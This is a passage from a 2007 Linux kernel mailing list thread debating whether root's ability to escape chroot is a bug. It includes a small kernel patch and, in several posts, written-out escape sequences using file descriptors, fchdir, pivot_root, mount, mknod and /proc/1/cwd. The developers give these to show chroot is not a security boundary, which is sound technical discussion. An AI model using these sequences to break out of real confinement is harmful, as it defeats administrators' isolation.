Re: sys_chroot+sys_fchdir Fix

Re: sys_chroot+sys_fchdir Fix

[Bodo Eggert]

David Newall <david@davidnewall.com> wrote:

>> Normal users cannot use chroot() themselves so they can't use chroot to
>> get back out
> 
> I think Bill is right, that this is to fix a method that non-root
> processes can use to escape their chroot. The exploit, which is
> documented in chroot(2)*, is to chdir("..") your way out. Who'd have
> thought it? Only root can do that, but even that seems wrong. Chroot
> should be chroot and that should be the end of it.

chroot with having open directories outside the chroot is a convenience
feature, allowing e.g. to install programs into a different root while
opening the archives from another root tree. Only if there is a working
capability system preventing root from accessing the hardware*, a chroot
may become a security feature.

Off cause having the new fchdir, you might run "chroot /var/foo 3< /" in
order to pass a dir filehandle and compromise your own security, but this
is nothin a system should protect against.

The only problem I'm concerned about is passing a file descriptor to a
privileged, compromised process using an abstract unix socket. This combines
two different privileges, possibly increasing the impact of the attack.
I think it may be enough to not allow passing directory fds if the two
processes have different device/inode/namespace, but I'm not sure about
device fds.


*) chmod u+s binary; su nobody; exec binary; mount tmpfs /; mknod dev_mem
   should be enough to void most root-in-chroot setups. Very untested.
-- 
Funny quotes:
26. If you take an Oriental person and spin him around several times, does he
    become disoriented?
Friß, Spammer: hrzoi8.sT@gYjoOs.7eggert.dyndns.org zq@u1kq.7eggert.dyndns.org

Re: sys_chroot+sys_fchdir Fix

[Philipp Marek]

Please, everybody,

don't change that.

I'm currently using that *feature* (yes, I see it as that) in my
fsvs-chrooter-utility (see
http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
for easier usage of fsvs on older systems.

- User starts a small wrapper,
- that opens "/",
- chroot()s into a directory and starts fsvs.
- fsvs gets its libraries loaded
- and chroot()s back to the original system.

Voila! fsvs can use the newest available libraries for that architecture,
without having to change the installed system.


Please, keep that feature - as already mentioned, UID 0 is required
anyway, and such processes can get out of (nearly) anything.


Regards,

Phil


-- 
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!

Re: sys_chroot+sys_fchdir Fix

[majkls]

Philipp Marek napsal(a):
> Please, everybody,
>
> don't change that.
>
> I'm currently using that *feature* (yes, I see it as that) in my
> fsvs-chrooter-utility (see
> http://fsvs.tigris.org/source/browse/*checkout*/fsvs/trunk/www/doxygen/html/group__howto__chroot.html)
> for easier usage of fsvs on older systems.
>
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.
>
> Voila! fsvs can use the newest available libraries for that architecture,
> without having to change the installed system.
>
>   
So I thing this is an example how chroot would not be really used. For 
DSO loading there is many better ways to load own DSO. Though is this 
feature described in chroot() manpage, I have not noticed that any 
serious project uses it.  But ok, this is a ferature of chroot(). Also 
FreeBSD does not support escaping chroot AFAIK. So this feature is very 
badly portable.


Miloslav

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Philipp Marek wrote:
> - User starts a small wrapper,
> - that opens "/",
> - chroot()s into a directory and starts fsvs.
> - fsvs gets its libraries loaded
> - and chroot()s back to the original system.

Isn't that what pivot_root was meant for?

Re: sys_chroot+sys_fchdir Fix

[Philipp Marek]

On Thursday 20 September 2007 David Newall wrote:
> Philipp Marek wrote:
> > - User starts a small wrapper,
> > - that opens "/",
> > - chroot()s into a directory and starts fsvs.
> > - fsvs gets its libraries loaded
> > - and chroot()s back to the original system.
>
> Isn't that what pivot_root was meant for?
AFAIK pivot_root() changes the / mapping for *all* processes, no?

I just wanted to give *this* single process completely new library paths, even 
for delay-loaded things (like libnss) ...


Regards,

Phil


-- 
Versioning your /etc, /home or even your whole installation?
             Try fsvs (fsvs.tigris.org)!

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Philipp Marek wrote:
> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>   

The manual page is confusing.  It even admits to being "intentionally 
vague".  However the goal seems clear:

    "pivot_root() moves the root file system of the current process to
    the directory put_old and makes new_root the new root file system of
    the current process"
    -- man 2 pivot_root

There's an argument that pivot_root could be improved...

Re: sys_chroot+sys_fchdir Fix

[Bill Davidsen]

David Newall wrote:
> Philipp Marek wrote:
>> AFAIK pivot_root() changes the / mapping for *all* processes, no?
>>   
>
> The manual page is confusing.  It even admits to being "intentionally 
> vague".  However the goal seems clear:
>
>    "pivot_root() moves the root file system of the current process to
>    the directory put_old and makes new_root the new root file system of
>    the current process"
>    -- man 2 pivot_root
>
> There's an argument that pivot_root could be improved...
>
And very little argument that the man page could be improved, perhaps. 
However, there is no question that pivot_root is intended to have 
breadth for more than one process.

Keeping this functionality sounds a little like putting a bow tie and 
tux on your bug and calling it a "feature." Not all bugs are useless for 
legitimate purposes, but it doesn't make them safe. It appears to be a 
sort-of way to get per-process bind mounts.

-- 
bill davidsen <davidsen@tmr.com>
  CTO TMR Associates, Inc
  Doing interesting things with small computers since 1979

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Bill Davidsen wrote:
> there is no question that pivot_root is intended to have breadth for 
> more than one process. 

I think it's clear from the man page that the original idea was to be 
able to pivot_root for individual processes.  The reason it doesn't do 
that, the reason it affects all processes, is to work around the 
bootstrap problem, where processes that don't care what their root (or 
current) directory is are still using the original root.

An extra parameter could be added to specify which behavior is desired, 
probably defaulting to the current behavior. That would remove the need 
to use a chroot bug.

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Bill Davidsen wrote:
>> there is no question that pivot_root is intended to have breadth for more 
>> than one process. 
>
> I think it's clear from the man page that the original idea was to be able 
> to pivot_root for individual processes.  The reason it doesn't do that, the 
> reason it affects all processes, is to work around the bootstrap problem, 
> where processes that don't care what their root (or current) directory is 
> are still using the original root.
>
> An extra parameter could be added to specify which behavior is desired, 
> probably defaulting to the current behavior. That would remove the need to 
> use a chroot bug.

No reason for any new parameters to pivot_root.  Just clone your mounts
namespace first.

	unshare(CLONE_NEWNS);
	chdir(new_dir);
	pivot_root(new_dir, oldroot);

Since pivot_root actually fiddles with the vfsmnts, this is really the
only way to go about having it "work with just one process".

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> No reason for any new parameters to pivot_root.  Just clone your mounts
> namespace first.
>
> 	unshare(CLONE_NEWNS);
> 	chdir(new_dir);
> 	pivot_root(new_dir, oldroot);
>
> Since pivot_root actually fiddles with the vfsmnts, this is really the
> only way to go about having it "work with just one process".

I think the point is that, whereas we'd like to be able to pivot the 
root for a single process, in practice this causes startup issues to 
which the easy solution is to pivot the whole system.  At least that's 
my reading of the man page.

It might be tidy if pivot_root could be used (instead of a hack based on 
a chroot bug), but it'd still be unportable.

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> No reason for any new parameters to pivot_root.  Just clone your mounts
>> namespace first.
>>
>> 	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);
>>
>> Since pivot_root actually fiddles with the vfsmnts, this is really the
>> only way to go about having it "work with just one process".
>
> I think the point is that, whereas we'd like to be able to pivot the root 
> for a single process, in practice this causes startup issues to which the 
> easy solution is to pivot the whole system.  At least that's my reading of 
> the man page.
>
> It might be tidy if pivot_root could be used (instead of a hack based on a 
> chroot bug), but it'd still be unportable.

It can.

Please re-read my previous msg.

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>   
>> It might be tidy if pivot_root could be used (instead of a hack based on a 
>> chroot bug), but it'd still be unportable.
>>     
>
> It can.
>
> Please re-read my previous msg.

I read it.  Currently pivot_root can't be used to affect a single 
process.  It can be modified; obviously.  Maybe it should be, too, but 
is there a need for that?

Re: sys_chroot+sys_fchdir Fix

[Serge E. Hallyn]

Quoting David Newall (david@davidnewall.com):
> Serge E. Hallyn wrote:
>> Quoting David Newall (david@davidnewall.com):
>>   
>>> It might be tidy if pivot_root could be used (instead of a hack based on 
>>> a chroot bug), but it'd still be unportable.
>>>     
>>
>> It can.
>>
>> Please re-read my previous msg.
>
> I read it.  Currently pivot_root can't be used to affect a single process.  

No.  If you unshare your mounts namespace immediately before pivot_root,
then pivot_root will only affect that single process.

> It can be modified; obviously.  Maybe it should be, too, but is there a 
> need for that?

-serge

Re: sys_chroot+sys_fchdir Fix

[David Newall]

Serge E. Hallyn wrote:
> Quoting David Newall (david@davidnewall.com):
>   
>> Serge E. Hallyn wrote:
>>     
>>> Quoting David Newall (david@davidnewall.com):
>>>   
>>>       
>>>> It might be tidy if pivot_root could be used (instead of a hack based on 
>>>> a chroot bug), but it'd still be unportable.
>>>>     
>>>>         
>>> It can.
>>>
>>> Please re-read my previous msg.
>>>       
>> I read it.  Currently pivot_root can't be used to affect a single process.  
>>     
>
> No.  If you unshare your mounts namespace immediately before pivot_root,
> then pivot_root will only affect that single process.
>   

Bugger.  You're right, I didn't read your previous message; I thought I 
had but I was wrong.

>>	unshare(CLONE_NEWNS);
>> 	chdir(new_dir);
>> 	pivot_root(new_dir, oldroot);


After further RTFMing, and assuming "any processes or threads which  
use  the  old  root directory" means what you imply, and surely it does, 
then I agree: pivot_root already does the job.  Does anybody still need 
to use a bug in chroot?

Chroot bug (was: sys_chroot+sys_fchdir Fix)

[David Newall]

Miloslav Semler pointed out that a root process can chdir("..") out of 
its chroot.  Although this is documented in the man page, it conflicts 
with the essential function, which is to change the root directory of 
the process.  In addition to any creative uses, for example Philipp 
Marek's loading dynamic libraries, it seems clear that the prime purpose 
of chroot is to aid security.  Being able to cd your way out is handy 
for the bad guys, but the good guys don't need it; there are a thousand 
better, safer solutions.

If there truly is a need to be able to pop in and out of a chroot, then 
the solution should be obvious, such as with real versus effective user 
and group ids.  An important quality of a solution would be a way to fix 
that essential function: to set the root in such a way that you can no 
longer pop out.  But that is a separate question.

The question: is chroot buggy?  I'm pleased to turn to SCO for an 
independent definition for chroot, from which I get the following:

http://osr600doc.sco.com/en/man/html.S/chroot.S.html:
>
> The *..* entry in the root directory is interpreted to mean the root 
> directory itself. Thus, *..* cannot be used to access files outside 
> the subtree rooted at the root directory.
>

I argue chroot is buggy.  Miloslav's patch might not be the right 
solution, but he has the right idea (i.e. fix it.)

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Jan Engelhardt]

On Sep 26 2007 00:40, David Newall wrote:
>
> Miloslav Semler pointed out that a root process can chdir("..") out of its
> chroot.  Although this is documented in the man page, it conflicts with the
> essential function, which is to change the root directory of the process.  In
> addition to any creative uses, for example Philipp Marek's loading dynamic
> libraries, it seems clear that the prime purpose of chroot is to aid security.
> Being able to cd your way out is handy for the bad guys, but the good guys
> don't need it; there are a thousand better, safer solutions.

So what? Just do this: chdir into the root after chroot.

It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some
sane standard ain't bad either. I doubt anyone really relies on the
fact that after chroot, your cwd might be outside the root.

Signed-off-by: Jan Engelhardt <jengelh@gmx.de>

---
 fs/open.c |    1 +
 1 file changed, 1 insertion(+)

Index: linux-2.6.23/fs/open.c
===================================================================
--- linux-2.6.23.orig/fs/open.c
+++ linux-2.6.23/fs/open.c
@@ -547,6 +547,7 @@ asmlinkage long sys_chroot(const char __
 
 	set_fs_root(current->fs, nd.mnt, nd.dentry);
 	set_fs_altroot();
+	set_fs_pwd(current->fs, nd.mnt, nd.dentry);
 	error = 0;
 dput_and_out:
 	path_release(&nd);

Re: Chroot bug

[Miloslav Semler]

> On Sep 26 2007 00:40, David Newall wrote:
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>> chroot.  Although this is documented in the man page, it conflicts with the
>> essential function, which is to change the root directory of the process.  In
>> addition to any creative uses, for example Philipp Marek's loading dynamic
>> libraries, it seems clear that the prime purpose of chroot is to aid security.
>> Being able to cd your way out is handy for the bad guys, but the good guys
>> don't need it; there are a thousand better, safer solutions.
>>     
>
> So what? Just do this: chdir into the root after chroot.
>
> It won't conform to SVR4/4.4BSD anymore, but hey, let Linux set some
> sane standard ain't bad either. I doubt anyone really relies on the
> fact that after chroot, your cwd might be outside the root.
>   
so then you corrupt pwd. I think that working directory should be set 
only if it is necessary. Fn directory_is_out is not big performace loss. 
And also you can break this fix with fchdir.

Miloslav

Re: Chroot bug

[David Newall]

Jan Engelhardt wrote:
> On Sep 26 2007 00:40, David Newall wrote:
>   
>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>> chroot.
> So what? Just do this: chdir into the root after chroot.
>   

I don't think so.  His exploit just got me all the way out of a chroot 
within a chroot within a chroot, inclusive of lots of chdirs.

Re: Chroot bug

[Jan Engelhardt]

On Sep 26 2007 01:11, David Newall wrote:
> Jan Engelhardt wrote:
>> On Sep 26 2007 00:40, David Newall wrote:
>>   
>> > Miloslav Semler pointed out that a root process can chdir("..") out of its
>> > chroot.
>> So what? Just do this: chdir into the root after chroot.
>
> I don't think so.  His exploit just got me all the way out of a chroot within a
> chroot within a chroot, inclusive of lots of chdirs.

Close all fds that point to directories outside the root ;-)

Re: Chroot bug

[Miloslav Semler]

>>> So what? Just do this: chdir into the root after chroot.
>>>       
>> I don't think so.  His exploit just got me all the way out of a chroot within a
>> chroot within a chroot, inclusive of lots of chdirs.
>>     
>
> Close all fds that point to directories outside the root ;-)
>
>   
This  does not help.  Let's try:
chroot somewhere
mkdir foo
fd = open /
chroot foo
fchdir fd
chdir ".."
....
chdir ".."
chroot "."
so you are in root.

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 18:19, Miloslav Semler wrote:
>> > > So what? Just do this: chdir into the root after chroot.
>> > >       
>> > I don't think so.  His exploit just got me all the way out of a chroot
>> > within a
>> > chroot within a chroot, inclusive of lots of chdirs.
>> >     
>>
>> Close all fds that point to directories outside the root ;-)
>>   
> This  does not help.  Let's try:
> chroot somewhere
> mkdir foo
> fd = open /
> chroot foo

('fd' implicitly closed and chdir to /foo)

> fchdir fd

-EINVAL

> chdir ".."

/../ => /

> ....
> chdir ".."
> chroot "."
> so you are in root.

so we remain in chroot.

Re: Chroot bug

[Miloslav Semler]

>> This  does not help.  Let's try:
>> chroot somewhere
>> mkdir foo
>> fd = open /
>> chroot foo
>>     
>
> ('fd' implicitly closed and chdir to /foo)
>   
Really? Try it. I am sure, that this works. You can create directory in 
chroot and break chroot by this. fd is not closed, because linux doesn't 
close descriptors by chroot syscall. this can be done every time if you 
have CAP_SYS_CHROOT.
>   
>> fchdir fd
>>     
>
> -EINVAL
>
>   
>> chdir ".."
>>     
>
> /../ => /
>
>   
>> ....
>> chdir ".."
>> chroot "."
>> so you are in root.
>>     
>
> so we remain in chroot.
>   

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 19:00, Miloslav Semler wrote:
>> > This  does not help.  Let's try:
>> > chroot somewhere
>> > mkdir foo
>> > fd = open /
>> > chroot foo
>> >     
>>
>> ('fd' implicitly closed and chdir to /foo)
>>   
> Really? Try it. I am sure, that this works. You can create directory in chroot
> and break chroot by this. fd is not closed, because linux doesn't close
> descriptors by chroot syscall. this can be done every time if you have
> CAP_SYS_CHROOT.

In case you have not followed my earlier email, I'll repost:

|>> So what? Just do this: chdir into the root after chroot.
|>
|> I don't think so.  His exploit just got me all the way out of a 
|> chroot within a chroot within a chroot, inclusive of lots of 
|> chdirs.
|>
|
|Close all fds that point to directories outside the root ;-)

Perhaps that was formulated a bit sloppy. It of course means
"On chroot(2), implicitly close all FDs that point outside."

Re: Chroot bug

[Miloslav Semler]

Jan Engelhardt napsal(a):
> On Sep 25 2007 19:00, Miloslav Semler wrote:
>   
>>>> This  does not help.  Let's try:
>>>> chroot somewhere
>>>> mkdir foo
>>>> fd = open /
>>>> chroot foo
>>>>     
>>>>         
>>> ('fd' implicitly closed and chdir to /foo)
>>>   
>>>       
>> Really? Try it. I am sure, that this works. You can create directory in chroot
>> and break chroot by this. fd is not closed, because linux doesn't close
>> descriptors by chroot syscall. this can be done every time if you have
>> CAP_SYS_CHROOT.
>>     
>
> In case you have not followed my earlier email, I'll repost:
>
> |>> So what? Just do this: chdir into the root after chroot.
> |>
> |> I don't think so.  His exploit just got me all the way out of a 
> |> chroot within a chroot within a chroot, inclusive of lots of 
> |> chdirs.
> |>
> |
> |Close all fds that point to directories outside the root ;-)
>
> Perhaps that was formulated a bit sloppy. It of course means
> "On chroot(2), implicitly close all FDs that point outside."
>   
yes, but I can use fds from chroot ;-) ....

Re: Chroot bug

[Al Viro]

On Tue, Sep 25, 2007 at 07:05:06PM +0200, Jan Engelhardt wrote:

> Perhaps that was formulated a bit sloppy. It of course means
> "On chroot(2), implicitly close all FDs that point outside."

Bollocks.  Pack 'em into SCM_RIGHTS datagram, send to yourself,
do chroot, recvmsg() and move on, cheerfully spitting at the
YAidiotic "hardening".

Re: Chroot bug

[Miloslav Semler]

> On Tue, Sep 25, 2007 at 07:05:06PM +0200, Jan Engelhardt wrote:
>
>   
>> Perhaps that was formulated a bit sloppy. It of course means
>> "On chroot(2), implicitly close all FDs that point outside."
>>     
>
> Bollocks.  Pack 'em into SCM_RIGHTS datagram, send to yourself,
> do chroot, recvmsg() and move on, cheerfully spitting at the
> YAidiotic "hardening".
>   
so if you check sanity in fchdir (if directory_is_out), your method will 
not succeed :)

Re: Chroot bug

[Serge E. Hallyn]

Quoting Miloslav Semler (majkls@prepere.com):
>
>>>> So what? Just do this: chdir into the root after chroot.
>>>>       
>>> I don't think so.  His exploit just got me all the way out of a chroot 
>>> within a
>>> chroot within a chroot, inclusive of lots of chdirs.
>>>     
>>
>> Close all fds that point to directories outside the root ;-)
>>
>>   
> This  does not help.  Let's try:
> chroot somewhere
> mkdir foo
> fd = open /
> chroot foo
> fchdir fd
> chdir ".."
> ....
> chdir ".."
> chroot "."
> so you are in root.
>

Yes, to understand why that doesn't work it helps to understand why
pivot_root *does* work.  Pivot_root takes the new_root, which must be
a mount, and detaches it from it's mountpoint.  So it's not that we
try to intercept a chdir(root_dir/..), but rather we remove root_dir
from it's parent dir so that root_dir/.. must always return root_dir.

I'm sorry but I really don't see where hacking chroot to try and
detect and prevent chroot escapes is going to be acceptable to
anyone so long as pivot_root does the trick anyway.  If you want
portable, then write a little linux-only safe_chroot() library call
which does unshare();pivot_root() on linux and just chroot on a
system that does try to stop chroot escapes.

Besides as others have alluded to, if you have root privs, you can
always mknod /dev/hda1, mount that under /mnt, and then chroot or
pivot_root to there.

The containers work will, in fact, be intended to be a *safe*
jail.  That'll happen through pivot_root, capability masking,
perhaps device namespaces, etc.  But a secure container is still
a ways off.

-serge

Re: Chroot bug

[David Newall]

Jan Engelhardt wrote:
> On Sep 26 2007 01:11, David Newall wrote:
>   
>> Jan Engelhardt wrote:
>>     
>>> On Sep 26 2007 00:40, David Newall wrote:
>>>   
>>>       
>>>> Miloslav Semler pointed out that a root process can chdir("..") out of its
>>>> chroot.
>>>>         
>>> So what? Just do this: chdir into the root after chroot.
>>>       
>> I don't think so.  His exploit just got me all the way out of a chroot within a
>> chroot within a chroot, inclusive of lots of chdirs.
>>     
>
> Close all fds that point to directories outside the root ;-)
>   

Nope, still gets out.

Re: Chroot bug (was: sys_chroot+sys_fchdir Fix)

[Alan Cox]

> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> of chroot is to aid security.  Being able to cd your way out is handy 

Does it - I can't find any evidence for that. I think you are confusing
containers and chroot. They are quite different things. A root user can
get out of a chroot a million different ways

Alan

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>> Marek's loading dynamic libraries, it seems clear that the prime purpose 
>> of chroot is to aid security.  Being able to cd your way out is handy 
>>     
>
> Does it - I can't find any evidence for that.

It seems self-evident to me.  What do you think is it prime purpose?


> A root user can get out of a chroot a million different ways

One of those ways shouldn't be that chroot lets you out.

Re: Chroot bug

[Alan Cox]

On Wed, 26 Sep 2007 01:05:07 +0930
David Newall <david@davidnewall.com> wrote:

> Alan Cox wrote:
> >> Marek's loading dynamic libraries, it seems clear that the prime purpose 
> >> of chroot is to aid security.  Being able to cd your way out is handy 
> >>     
> >
> > Does it - I can't find any evidence for that.
> 
> It seems self-evident to me.  What do you think is it prime purpose?

Debugging and testing. At least that is as I understand it much of where
it came from.

> > A root user can get out of a chroot a million different ways
> One of those ways shouldn't be that chroot lets you out.

A fence with 10000 open gates is not improved by turning it into a fence
with 9999 open gates. 

Re: Chroot bug

[Jan Engelhardt]

On Sep 25 2007 16:48, Alan Cox wrote:
>David Newall <david@davidnewall.com> wrote:
>> Alan Cox wrote:
>>>>
>>>> Marek's loading dynamic libraries, it seems clear that the prime
>>>> purpose of chroot is to aid security.  Being able to cd your way
>>>> out is handy
>>>
>>> Does it - I can't find any evidence for that.
>>
>> It seems self-evident to me.  What do you think is it prime purpose?
>
>Debugging and testing. At least that is as I understand it much of where
>it came from.
>
>>> A root user can get out of a chroot a million different ways

Uhm, you _do_ have considered the case of setuid(non-0)-after-chroot,
have not you?

Re: Chroot bug

[David Newall]

Alan Cox wrote:
> On Wed, 26 Sep 2007 01:05:07 +0930
> David Newall <david@davidnewall.com> wrote:
>> Alan Cox wrote:
>>     
>>>> Marek's loading dynamic libraries, it seems clear that the prime purpose 
>>>> of chroot is to aid security.  Being able to cd your way out is handy 
>>>>     
>>>>         
>>> Does it - I can't find any evidence for that.
>>>       
>> It seems self-evident to me.  What do you think is it prime purpose?
>>     
>
> Debugging and testing. At least that is as I understand it much of where
> it came from.
>   

Good call.  Though I suppose, since it's used 24x7 to aid security on 
countless production servers, that security dwarfs testing.  Still, 
debugging, yes that's valid.

I don't suppose it makes and difference; whatever the purpose, a chroot 
that doesn't change the root is buggy.

Re: Chroot bug

[Alan Cox]

> Good call.  Though I suppose, since it's used 24x7 to aid security on 
> countless production servers, that security dwarfs testing.  Still, 
> debugging, yes that's valid.
> 
> I don't suppose it makes and difference; whatever the purpose, a chroot 
> that doesn't change the root is buggy.

It does change the root, it just doesn't guarantee you can't change it
back - which is correct POSIX, Unix, SuS behaviour. So either everyone
else is wrong or you are.. I know who I am betting on

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>> Good call.  Though I suppose, since it's used 24x7 to aid security on 
>> countless production servers, that security dwarfs testing.  Still, 
>> debugging, yes that's valid.
>>
>> I don't suppose it makes and difference; whatever the purpose, a chroot 
>> that doesn't change the root is buggy.
>>     
>
> It does change the root, it just doesn't guarantee you can't change it
> back - which is correct POSIX, Unix, SuS behaviour. So either everyone
> else is wrong or you are.. I know who I am betting on
>   

Charming.  They really say that, do they?  Where?  I find no such thing, 
and I looked.  I did find Open Groups SuS which, similar to SCO's UNIX, 
says:
> The dot-dot entry in the root directory is interpreted to mean the 
> root directory itself. Thus, dot-dot cannot be used to access files 
> outside the subtree rooted at the root directory.

I feel I've presented a good case that that it's a bug.  You made a 
somewhat rude counter-claim, which I don't ascribe to malevolence.  
You're simply disinterested.  Nobody else cares, so why expend effort on 
it, right?  I'll let it drop, but it is a bug.

Re: Chroot bug

[Alan Cox]

> > The dot-dot entry in the root directory is interpreted to mean the 
> > root directory itself. Thus, dot-dot cannot be used to access files 
> > outside the subtree rooted at the root directory.

Which is behaviour chroot preserves properly.

The specification says explicitly

	"The process working directory is unaffected by chroot()."


chroot is not and never has been a security tool. People have built
things based upon the properties of chroot but extended (BSD jails, Linux
vserver) but they are quite different.

You could probably write yourself an LSM module to do this too

Alan

Re: Chroot bug

[David Newall]

Alan Cox wrote:
>>> The dot-dot entry in the root directory is interpreted to mean the 
>>> root directory itself. Thus, dot-dot cannot be used to access files 
>>> outside the subtree rooted at the root directory.
>>>       
>
> Which is behaviour chroot preserves properly.
>   

And yet it is the dot-dot entry which is used to access files outside 
the root.

> The specification says explicitly
>
> 	"The process working directory is unaffected by chroot()."
>   

Do you believe that when those words were first written, the hidden 
conflict, namely that it permits dot-dot to access files outside the 
subtree, was understood?  They would have said so if that were the case.

Re: Chroot bug

[Alan Cox]

> >>> The dot-dot entry in the root directory is interpreted to mean the 
> >>> root directory itself. Thus, dot-dot cannot be used to access files 
> >>> outside the subtree rooted at the root directory.
> >>>       
> >
> > Which is behaviour chroot preserves properly.
> >   
> And yet it is the dot-dot entry which is used to access files outside 
> the root.

Read it again, and read all the words. Notably "the dot-dot entry *IN*
the root directory". When your current directory is above your root
directory you do not pass through that dot-dot entry.

> Do you believe that when those words were first written, the hidden 
> conflict, namely that it permits dot-dot to access files outside the 
> subtree, was understood?  

Yes. You need to remember the notion of chroot for "security" is a very
new one, and not one that it was designed for. Which as I've said twice
now is why things like vserver and BSD jails have evolved.

Alan

Re: Chroot bug

[Miloslav Semler]

Alan Cox napsal(a):
>> but many program use this as security feature. So do you think that bind 
>> may use vserver?
>>     
>
> It would be a lot stronger if it did. A bind running non-root will be
> probably safe. A bind running as root can be attacked and break out of a
> chroot trivially. I guess it depends how you run bind.
>   
but not bind with selinux. It can chroot, but not  does other things. So 
there is an question: Why we do not fix it. Tell me please some other 
reason than "you can workaround chroot other ways".

Re: Chroot bug

[Alan Cox]

On Wed, 26 Sep 2007 13:34:53 +0200
Miloslav Semler <majkls@prepere.com> wrote:

> Alan Cox napsal(a):
> >> but many program use this as security feature. So do you think that bind 
> >> may use vserver?
> >>     
> >
> > It would be a lot stronger if it did. A bind running non-root will be
> > probably safe. A bind running as root can be attacked and break out of a
> > chroot trivially. I guess it depends how you run bind.
> >   
> but not bind with selinux. It can chroot, but not  does other things. So 
> there is an question: Why we do not fix it. Tell me please some other 
> reason than "you can workaround chroot other ways".

If you are using SELinux you don't need chroot for the security in the
first place you can use labels and LSM modules can also handle things
like ptrace which permit trivial escapes.

Alan

Re: Chroot bug

[Bongani Hlope]

On Wednesday 26 September 2007 13:06:51 David Newall wrote:
> Alan Cox wrote:
> >>> The dot-dot entry in the root directory is interpreted to mean the
> >>> root directory itself. Thus, dot-dot cannot be used to access files
> >>> outside the subtree rooted at the root directory.
> >
> > Which is behaviour chroot preserves properly.
>
> And yet it is the dot-dot entry which is used to access files outside
> the root.
>
> > The specification says explicitly
> >
> > 	"The process working directory is unaffected by chroot()."
>
> Do you believe that when those words were first written, the hidden
> conflict, namely that it permits dot-dot to access files outside the
> subtree, was understood?  They would have said so if that were the case.

You seem to be misunderstanding what Alan is trying to say to you, if your 
program calls chroot, it's working directory is unaffected. Programs that are 
started in the chrooted root, will be affected.

i.e. if you run chroot in bash, the bash process's CWD is not affected and 
bash can escape the chrooted root, but if you run ls .., it will not escape.

If you do not get too emotional, you tend to understand what people are trying 
to say.

Re: Chroot bug

[Adrian Bunk]

On Wed, Sep 26, 2007 at 09:20:54AM +0930, David Newall wrote:
> Alan Cox wrote:
>> On Wed, 26 Sep 2007 01:05:07 +0930
>> David Newall <david@davidnewall.com> wrote:
>>> Alan Cox wrote:
>>>     
>>>>> Marek's loading dynamic libraries, it seems clear that the prime 
>>>>> purpose of chroot is to aid security.  Being able to cd your way out is 
>>>>> handy             
>>>> Does it - I can't find any evidence for that.
>>>>       
>>> It seems self-evident to me.  What do you think is it prime purpose?
>>>     
>>
>> Debugging and testing. At least that is as I understand it much of where
>> it came from.
>>   
>
> Good call.  Though I suppose, since it's used 24x7 to aid security on 
> countless production servers, that security dwarfs testing.  Still, 
> debugging, yes that's valid.

Incompetent people implementing security solutions are a real problem.

> I don't suppose it makes and difference; whatever the purpose, a chroot 
> that doesn't change the root is buggy.

It does change the root.

But it does not limit what the root user can do after the root was 
changed.

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: Chroot bug

[Kyle Moffett]

On Sep 25, 2007, at 20:55:51, Adrian Bunk wrote:
> On Wed, Sep 26, 2007 at 09:20:54AM +0930, David Newall wrote:
>> Good call.  Though I suppose, since it's used 24x7 to aid security  
>> on countless production servers, that security dwarfs testing.   
>> Still, debugging, yes that's valid.
>
> Incompetent people implementing security solutions are a real problem.
>
>> I don't suppose it makes and difference; whatever the purpose, a  
>> chroot that doesn't change the root is buggy.
>
> It does change the root.
>
> But it does not limit what the root user can do after the root was  
> changed.

This is required for most distro installers to work:

*Procedure to install files*
chroot /target
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t tmpfs tmpfs /dev
udevd --daemon
udevtrigger
udevsettle
mount /dev/cdrom0 /media/cdrom0
*Load more kernel modules*
*Procedure to configure newly-installed system*
*Do other highly-privileged operations*
*Configure networking and submit installation report*
*Reboot*

David, please do tell myself and Adrian how "locking down" chroot()  
the way you want will avoid letting root break out through any of the  
above ways?

Hell, after you chroot one could probably just run:
   mount --bind /minimal_root /minimal_root
   cd /minimal_root
   mkdir old
   pivot_root . old
   cd /old
   mkdir old_minimal_root
   pivot_root . old_minimal_root
   umount /old_minimal_root
   rmdir /old_minimal_root
Now, like magic, the entire system is once more accessible.

Alternatively you could:
   mount -t proc proc /proc
   cat /proc/1/mounts
   mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Either way root can trivially break out of any chroot using  
FUNDAMENTAL PRIMITIVES that he/she always has access to.  If you want  
to take those away you have to use SELinux or capabilities, in which  
case you could just take away the CAP_SYS_CHROOT capability in the  
first place!

Cheers,
Kyle Moffett

Re: Chroot bug

[Willy Tarreau]

On Wed, Sep 26, 2007 at 01:21:08AM -0400, Kyle Moffett wrote:
(...)
> Now, like magic, the entire system is once more accessible.
> 
> Alternatively you could:
>   mount -t proc proc /proc
>   cat /proc/1/mounts
>   mount -t $ROOTFS_FROM_PROC $ROOTDEV_FROM_PROC /

Since 2.6.20, it was even simpler :
   mount -t proc proc /proc
   cd /proc/1/cwd

Cheers,
Willy

Re: Chroot bug

[David Newall]

Kyle Moffett wrote:
